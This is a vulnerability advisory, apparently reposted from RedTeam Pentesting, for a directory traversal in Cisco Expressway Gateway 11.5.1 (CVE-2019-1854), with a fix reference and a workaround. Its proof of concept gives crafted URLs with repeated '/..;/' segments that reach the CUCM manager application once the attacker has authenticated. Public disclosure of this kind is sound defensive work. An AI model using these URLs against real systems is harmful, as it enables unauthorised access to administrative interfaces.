Cisco Expressway Gateway 11.5.1 Directory Traversal Vulnerability

Cisco Expressway Gateway 11.5.1 Directory Traversal Vulnerability

Details
=======

Product: Cisco Expressway Gateway
Affected Versions: 11.5.1, possibly others
Fixed Versions: See Cisco Bug ID CSCvo47769 [1]
Vulnerability Type: Directory Traversal
Security Risk: medium
Vendor URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190501-expressway-traversal
Vendor Status: fixed version released
Vendor ID: Cisco Bug ID CSCvo47769
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2019-002
Advisory Status: published
CVE: CVE-2019-1854
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1854


Introduction
============

"Cisco Expressway offers users outside your firewall simple, highly
secure access to all collaboration workloads, including video, voice,
content, IM, and presence. Collaborate with people who are on
third-party systems and endpoints or in other companies. Help
teleworkers and Cisco Jabber mobile users work more effectively on their
device of choice."
(from the Cisco Expressway Series website [2]) 


More Details
============

Cisco Expressway Gateway is a kind of reverse proxy which implements
authentication mechanisms and forwards authorised requests to services
based on information encoded within the requested URL. It supports two
different URI layouts. The first layout only includes the base64-encoded
domain name of the gateway itself:

------------------------------------------------------------------------
https://example.com:8443/$(echo -n example.com|base64)/test123

https://example.com:8443/ZXhhbXBsZS5jb20=/test123
------------------------------------------------------------------------

The second layout additionally specifies the protocol, hostname and port
number of a target system which is to be contacted through the gateway:

------------------------------------------------------------------------
https://example.com:8443/$(echo -n example.com/https/example.int/8443|base64)/test123

https://example.com:8443/ZXhhbXBsZS5jb20vaHR0cHMvZXhhbXBsZS5pbnQvODQ0Mw==/test123
------------------------------------------------------------------------

RedTeam Pentesting analysed a Cisco Unified Communication Manager (CUCM)
instance which was accessible via a Cisco Expressway Gateway. In this
configuration, a directory traversal vulnerability was identified. It
leverages the methodology described in "Breaking Parser Logic" [3] by
Orange Tsai. The CUCM service, which is implemented using the Tomcat [4]
application server, interprets URLs different to the upstream
reverse proxy. By accessing a specially crafted URL, attackers can
access the CUCM manager application, even though it is not exposed by
the Cisco Expressway Gateway.


Proof of Concept
================

First, an attacker must authenticate to the Cisco Expressway Gateway.
A login can be performed by accessing the following URL using
HTTP-Basic-Authentication:

------------------------------------------------------------------------
https://example.com:8443/ZXhhbXBsZS5jb20=/get_edge_config
------------------------------------------------------------------------

Afterwards, the resources on the CUCM may be accessed through the Cisco
Expressway Gateway. By inserting repeated occurrences of "/..;/" into
the URL, the directory traversal vulnerability can be exploited. Using
the following URL, a list of applications installed on the CUCM system
can be retrieved:

------------------------------------------------------------------------
https://example.com:8443/ZXhhbXBsZS5jb20vaHR0cHMvZXhhbXBsZS5pbnQvODQ0Mw==/cucm-uds/user/example_user/..;/..;/..;/
------------------------------------------------------------------------

Similarly, the CUCM manager application can be accessed as follows:

------------------------------------------------------------------------
https://example.com:8443/ZXhhbXBsZS5jb20vaHR0cHMvZXhhbXBsZS5pbnQvODQ0Mw==/cucm-uds/user/example_user/..;/..;/..;/ccmadmin
------------------------------------------------------------------------


Workaround
==========

Prevent access to the Cisco Expressway Gateway by untrusted parties.


Fix
===

See Cisco Bug ID CSCvo47769 [1] for affected software releases and
available patches.


Security Risk
=============

The vulnerability can be used to access administrative interfaces which
are usually not reachable. Attackers could potentially read or modify
sensitive information via these interfaces. However, it is necessary to
have an authorised user account to access the Cisco Expressway Gateway.
Therefore, the vulnerability poses a medium risk.

#  0day.today [2019-05-21]  #